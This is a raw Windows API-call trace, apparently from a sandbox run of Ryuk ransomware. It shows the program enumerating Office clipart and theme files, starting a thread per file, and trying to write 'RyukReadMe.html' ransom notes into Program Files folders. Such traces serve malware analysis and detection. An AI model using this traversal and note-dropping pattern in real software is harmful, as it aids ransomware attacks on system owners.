	[0258.436] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0258.437] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b6410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x29f4
	[0258.438] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0258.439] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x15fa, dwReserved0=0x86, dwReserved1=0x0, cFileName="WB02106_.GIF", cAlternateFileName="")) returned 1
	[0258.439] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0258.439] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b9af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x29f8
	[0258.440] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0258.441] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x3ef, dwReserved0=0x86, dwReserved1=0x0, cFileName="WB02116_.GIF", cAlternateFileName="")) returned 1
	[0258.441] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0258.441] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4bd1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x29fc
	[0258.442] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0258.443] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x97f, dwReserved0=0x86, dwReserved1=0x0, cFileName="WB02134_.GIF", cAlternateFileName="")) returned 1
	[0258.443] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0258.443] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c08b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a00
	[0258.444] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0258.445] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x579, dwReserved0=0x86, dwReserved1=0x0, cFileName="WB02187_.GIF", cAlternateFileName="")) returned 1
	[0258.445] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0258.445] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c3f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a04
	[0258.710] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0258.711] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x4abc, dwReserved0=0x86, dwReserved1=0x0, cFileName="WB02198_.GIF", cAlternateFileName="")) returned 1
	[0258.711] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0258.712] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a08
	[0258.713] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0258.713] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1653, dwReserved0=0x86, dwReserved1=0x0, cFileName="WB02201_.GIF", cAlternateFileName="")) returned 1
	[0258.713] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0258.714] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a0c
	[0258.715] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0258.716] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x136b, dwReserved0=0x86, dwReserved1=0x0, cFileName="WB02214_.GIF", cAlternateFileName="")) returned 1
	[0258.716] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0258.716] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a10
	[0258.717] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0258.718] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xbc4, dwReserved0=0x86, dwReserved1=0x0, cFileName="WB02218_.GIF", cAlternateFileName="")) returned 1
	[0258.718] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0258.718] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a14
	[0258.719] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0258.719] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xbc4, dwReserved0=0x86, dwReserved1=0x0, cFileName="WB02218_.GIF", cAlternateFileName="")) returned 0
	[0258.720] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0259.226] SetLastError (dwErrCode=0x0) 
	[0259.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\RyukReadMe.html" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0259.227] GetLastError () returned 0x5
	[0259.227] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0259.227] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0259.227] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x72, dwReserved1=0x0, cFileName="Backgrounds", cAlternateFileName="BACKGR~1")) returned 0
	[0259.227] FindClose (in: hFindFile=0x7c7b0 | out: hFindFile=0x7c7b0) returned 1
	[0259.227] SetLastError (dwErrCode=0x0) 
	[0259.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\RyukReadMe.html" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0259.227] GetLastError () returned 0x5
	[0259.227] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0259.227] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0259.228] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x62, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 0
	[0259.228] FindClose (in: hFindFile=0x7c6f0 | out: hFindFile=0x7c6f0) returned 1
	[0259.228] SetLastError (dwErrCode=0x0) 
	[0259.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\RyukReadMe.html" (normalized: "c:\\program files\\microsoft office\\clipart\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0259.228] GetLastError () returned 0x5
	[0259.228] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d8b8, lpOverlapped=0x0) returned 0
	[0259.228] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0259.228] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5cd5260, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40, dwReserved1=0x0, cFileName="Document Themes 14", cAlternateFileName="DOCUME~1")) returned 1
	[0259.228] SetLastError (dwErrCode=0x0) 
	[0259.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\RyukReadMe.html" (normalized: "c:\\program files\\microsoft office\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0259.229] GetLastError () returned 0x5
	[0259.229] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d8b8, lpOverlapped=0x0) returned 0
	[0259.229] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0259.229] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5cd5260, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x62, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c6f0
	[0259.234] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5cd5260, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x62, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0259.413] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f664b00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5943160, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5f664b00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xd0aa, dwReserved0=0x62, dwReserved1=0x0, cFileName="Adjacency.thmx", cAlternateFileName="ADJACE~1.THM")) returned 1
	[0259.413] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0259.414] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf60
	[0259.415] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0259.415] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62f9d200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5943160, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x62f9d200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x11098, dwReserved0=0x62, dwReserved1=0x0, cFileName="Angles.thmx", cAlternateFileName="ANGLES~1.THM")) returned 1
	[0259.415] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0259.416] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x298c
	[0259.417] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0259.418] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfda5e100, ftCreationTime.dwHighDateTime=0x1cbded8, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfda5e100, ftLastWriteTime.dwHighDateTime=0x1cbded8, nFileSizeHigh=0x0, nFileSizeLow=0x3f427, dwReserved0=0x62, dwReserved1=0x0, cFileName="Apex.thmx", cAlternateFileName="APEX~1.THM")) returned 1
	[0259.418] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0259.418] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a18
	[0259.419] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0259.420] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cd43200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3cd43200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x15a56, dwReserved0=0x62, dwReserved1=0x0, cFileName="Apothecary.thmx", cAlternateFileName="APOTHE~1.THM")) returned 1
	[0259.420] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0259.420] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a1c
	[0259.421] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0259.422] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1396800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1396800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x109e5, dwReserved0=0x62, dwReserved1=0x0, cFileName="Aspect.thmx", cAlternateFileName="ASPECT~1.THM")) returned 1
	[0259.422] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0259.422] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a20
	[0259.424] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0259.424] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4067b900, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe598f420, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4067b900, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1763b, dwReserved0=0x62, dwReserved1=0x0, cFileName="Austin.thmx", cAlternateFileName="AUSTIN~1.THM")) returned 1
	[0259.424] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0259.425] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a24
	[0259.426] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0259.426] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x668d5900, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59b5580, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x668d5900, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x9ff03, dwReserved0=0x62, dwReserved1=0x0, cFileName="Black Tie.thmx", cAlternateFileName="BLACKT~1.THM")) returned 1
	[0259.426] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0259.427] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a28
	[0259.428] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0259.429] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ccef00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59b5580, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4ccef00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x18c11, dwReserved0=0x62, dwReserved1=0x0, cFileName="Civic.thmx", cAlternateFileName="CIVIC~1.THM")) returned 1
	[0259.429] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0259.429] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a2c
	[0259.430] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0259.431] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43fb4000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59db6e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x43fb4000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x105f4, dwReserved0=0x62, dwReserved1=0x0, cFileName="Clarity.thmx", cAlternateFileName="CLARIT~1.THM")) returned 1
	[0259.431] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0259.431] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a30
	[0259.432] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0259.433] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a20e000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a01840, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6a20e000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x8ad4d, dwReserved0=0x62, dwReserved1=0x0, cFileName="Composite.thmx", cAlternateFileName="COMPOS~1.THM")) returned 1
	[0259.433] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0259.433] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a34
	[0259.434] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0259.435] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8607600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a279a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8607600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1240d, dwReserved0=0x62, dwReserved1=0x0, cFileName="Concourse.thmx", cAlternateFileName="CONCOU~1.THM")) returned 1
	[0259.435] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0259.435] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a38
	[0259.439] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0259.440] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee59400, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a99dc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6ee59400, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1e92c4, dwReserved0=0x62, dwReserved1=0x0, cFileName="Couture.thmx", cAlternateFileName="COUTUR~1.THM")) returned 1
	[0259.440] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
